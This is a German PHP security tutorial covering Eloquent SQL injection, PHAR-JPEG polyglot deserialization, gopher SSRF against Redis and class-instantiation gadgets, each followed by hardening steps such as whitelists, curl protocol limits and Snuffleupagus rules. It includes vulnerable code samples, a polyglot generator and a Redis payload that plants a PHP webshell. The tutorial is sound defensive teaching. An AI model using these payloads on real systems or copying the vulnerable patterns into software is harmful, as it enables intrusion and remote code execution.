Modern PHP Security Deep Dive: Von PHAR-Polyglots, Eloquent-Bypasses und SSRF-Chains
Einleitung
Die PHP-Landschaft hat sich gewandelt. Wer heute Frameworks wie Laravel oder Symfony einsetzt, muss sich seltener Sorgen um klassische mysql_query-Injections machen. Dafür treten neue, architekkturbedingte Risiken in den Vordergrund: Unsafe Deserialization in Stream-Wrappern, Property-Injection in ORMs und SSRF in Cloud-Microservices. Dieses Tutorial seziert moderne Angriffsvektoren anhand von Code-Beispielen und zeigt Härtungsmaßnahmen mit Snuffleupagus und Code-Design.
Inhaltsverzeichnis
- ORM-Fallen: SQL-Injection trotz Eloquent & Co.
- Advanced Deserialization: PHAR-Polyglots und Stream-Wrapper
- SSRF Deep Dive: Angriff auf interne Dienste (Redis/Memcached)
- Property Oriented Programming (POP): Gadget Chains verstehen
- Hardening: Snuffleupagus und Architektur-Entscheidungen
1. ORM-Fallen: SQL-Injection in Laravel
Entwickler wiegen sich bei der Nutzung von ORMs oft in falscher Sicherheit. Doch ORMs wie Eloquent (Laravel) bieten Methoden an, die "Raw SQL" akzeptieren, um komplexe Abfragen zu ermöglichen.
Das orderBy-Szenario (Klassisch)
Wie im Entwurf erwähnt, ist orderBy($input) gefährlich. Doch es gibt subtilere Wege.
Der whereRaw-Bypass
Häufiger in Legacy-Code oder komplexen Filtern zu finden:
Listing 1: Verwundbarer Filter-Code
// Unsichere Implementierung in einem API-Filter
$col = $request->input('column');
$val = $request->input('value');
// Entwickler nutzt whereRaw für Flexibilität
// Payload: column=id&value=1) union select 1,2,database(),4 --
$users = User::whereRaw("$col = $val")->get();
Eloquent escaped hier nichts, da whereRaw explizit für rohes SQL gedacht ist.
Die "Smart"-Column-Falle
Einige Entwickler versuchen, Spaltennamen dynamisch zu validieren, scheitern aber an der Logik:
Listing 2: Scheinbar sichere Validierung
// Angriffsvektor: Laravel < 5.8.x und bestimmte Konfigurationen
$col = $request->input('sort_by'); // Payload: "email->'%27))%23"
// JSON-Arrow-Syntax in MySQL wird von Laravel teilweise unterstützt
// und kann bei älteren Versionen zu Injection führen, wenn nicht gewhitelistet.
$users = User::orderBy($col)->get();
Best Practice:
Nutzen Sie strikte Whitelists oder Mappings für Spaltennamen. Vertrauen Sie niemals darauf, dass das Framework erkennt, was eine Spalte und was SQL-Syntax ist.
$mapping = ['date' => 'created_at', 'name' => 'full_name'];
$sort = $mapping[$request->input('sort')] ?? 'created_at';
2. Advanced Deserialization: PHAR-Polyglots
Das Blockieren von .phar-Dateiendungen reicht nicht aus. Der phar:// Stream-Wrapper ignoriert die Dateiendung und kümmert sich nur um den Dateiinhalt. Zudem prüfen viele Upload-Filter nur den MIME-Type (z.B. via getimagesize oder finfo).
Der Angriff: Wir verstecken ein PHAR-Archiv in einer validen JPEG-Datei (ein sogenannter Polyglot).
Erstellung eines JPEG-PHAR-Polyglots
Ein Angreifer nutzt ein Skript, um den PHAR-Stub in den Header eines Bildes zu schreiben.
Listing 3: Generator für PHAR-JPEG-Polyglot
class Evil { /* Gadget Chain Payload hier */ }
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub(
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46" . // JPEG Header Magic Bytes
"<?php __HALT_COMPILER(); ?>" // PHAR Magic Requirement
);
$phar->setMetadata(new Evil()); // Das serialisierte Objekt
$phar->stopBuffering();
// Datei umbenennen um Upload-Filter zu täuschen
rename('exploit.phar', 'profile_pic.jpg');
Die Auslösung (Trigger)
Der Angreifer lädt profile_pic.jpg hoch. Der Server prüft: Es ist ein valides Bild.
Nun muss der Angreifer eine Dateisystem-Funktion finden, bei der er das Schema kontrollieren kann.
Listing 4: Der Trigger-Point
// Controller Code
$path = $_GET['path'];
// Payload: phar:///var/www/uploads/profile_pic.jpg/test.txt
// Obwohl wir checken, ob die Datei existiert, wird das Metadaten-Objekt deserialisiert!
if (file_exists($path)) {
// ...
}
Impact: Sobald file_exists (oder is_dir, file_get_contents, etc.) mit dem phar://-Wrapper aufgerufen wird, führt PHP die unserialize()-Logik auf den Metadaten aus, bevor die Dateioperation stattfindet. Dies führt zur Remote Code Execution (RCE) via __destruct.
3. SSRF Deep Dive: Angriff auf interne Services
Server-Side Request Forgery (SSRF) wird oft unterschätzt. In Zeiten von Microservices und Docker-Containern ist 127.0.0.1 ein hochinteressantes Ziel.
Protokoll-Smuggling mit Gopher
curl unterstützt das gopher://-Protokoll. Damit lassen sich beliebige Bytes an einen TCP-Socket senden – ideal, um Protokolle wie Redis oder Memcached zu sprechen, die keine Authentifizierung im lokalen Netz erfordern.
Szenario: Eine Anwendung lädt Bilder von einer URL herunter, nutzt aber curl ohne Protokoll-Einschränkung.
Listing 5: SSRF via Gopher gegen Redis
// Unsicherer Download-Code
$url = $_GET['avatar_url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
Payload-Generierung:
Der Angreifer will folgenden Redis-Befehl ausführen, um eine Webshell in das Webroot zu schreiben:
FLUSHALL
SET shell "<?php system($_GET['c']); ?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
Dieser Payload muss URL-encoded und als Gopher-Link formatiert werden. Da Gopher CR+LF (%0D%0A) als Zeilenumbruch nutzt, sieht der finale Payload so aus:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A...
Abwehrmaßnahme:
1. CURLOPT_PROTOCOLS: Erlauben Sie explizit nur HTTP/HTTPS.
php
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
2. Redirects validieren: Vorsicht bei CURLOPT_FOLLOWLOCATION. Ein Angreifer könnte einen HTTP-Redirect auf gopher:// setzen.
4. Arbitrary Class Instantiation & Gadgets
Frameworks, die Routing basierend auf Klassennamen durchführen, sind riskant.
Listing 6: Die Factory-Falle
// Router-Logik
$type = $_GET['type']; // Input: "App\Models\User"
$params = $_GET['params'];
if (class_exists($type)) {
// Wenn der Konstruktor Parameter akzeptiert, haben wir ein Problem
$obj = new $type($params);
}
Ein Angreifer könnte interne PHP-Klassen missbrauchen:
* SplFileObject: Erlaubt das Lesen beliebiger Dateien.
* SoapClient: Kann für SSRF genutzt werden, da der Konstruktor eine URL aufruft.
* PDO: Kann genutzt werden, um Verbindungen zu Datenbanken aufzubauen (DoS oder Information Disclosure).
Lösung: Nutzen Sie strikte instanceof Checks oder Service-Container-Definitionen statt freier Instanziierung.
5. Härtung von PHP-Umgebungen (Hardening)
Neben den üblichen php.ini Einstellungen (expose_php=Off, display_errors=Off) gibt es mächtigere Werkzeuge.
Snuffleupagus: Die moderne WAF für PHP
Snuffleupagus ist eine PHP-Extension, die tief in die Engine eingreift und gefährliche Operationen blockiert, bevor sie Schaden anrichten. Im Gegensatz zu ModSecurity sieht es, was wirklich ausgeführt wird, nicht nur den HTTP-Request.
Listing 7: Beispielkonfiguration (snuffleupagus.rules)
# Blockiert Systembefehle, selbst wenn sie im Code stehen
sp.disable_function.function("system").drop();
sp.disable_function.function("exec").drop();
sp.disable_function.function("passthru").drop();
# Tötet die PHAR-Deserialisierung komplett ab
sp.filename_filter.function("file_exists").value_contains("phar://").drop();
sp.filename_filter.function("fopen").value_contains("phar://").drop();
sp.filename_filter.function("file_get_contents").value_contains("phar://").drop();
# Verhindert, dass writable Verzeichnisse ausführbaren Code enthalten
# (Schutz gegen File-Upload Webshells)
sp.readonly_exec.enable();
Disable_functions richtig nutzen
Viele Angreifer nutzen LD_PRELOAD, um disable_functions zu umgehen (indem sie mail() aufrufen, was eine Binary startet).
Daher muss zwingend putenv deaktiviert werden, wenn system/exec deaktiviert sind.
Empfohlene disable_functions Liste für Shared Hosting / High Security:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,
pcntl_exec,pcntl_getpriority,pcntl_setpriority,popent,disk_free_space,disk_total_space,diskfreespace,exec,
system,shell_exec,passthru,proc_open,proc_terminate,proc_get_status,proc_nice,proc_close,proc_open,dl,popen,
show_source,php_uname,getmyuid,getmypid,passthru,leak,listen,chown,chmod,user_dir,mail,imap_open
Fazit
Sicherheit in PHP ist heute weniger eine Frage der Sprache selbst, sondern der korrekten Konfiguration und des Bewusstseins für komplexe Angriffsvektoren in Frameworks und Bibliotheken. Die Kombination aus strikter Typisierung, whitelisting-basierten Validierungen und Härtung mittels Snuffleupagus bildet die Basis für robuste Anwendungen.
Links & Tools:
* PHPGGC: Tool zur Generierung von Deserialization Payloads (https://github.com/ambionics/phpggc)
* Snuffleupagus: Security Extension (https://snuffleupagus.readthedocs.io/)
* Gopherus: Tool zum Erstellen von SSRF Payloads (https://github.com/tarunkant/Gopherus)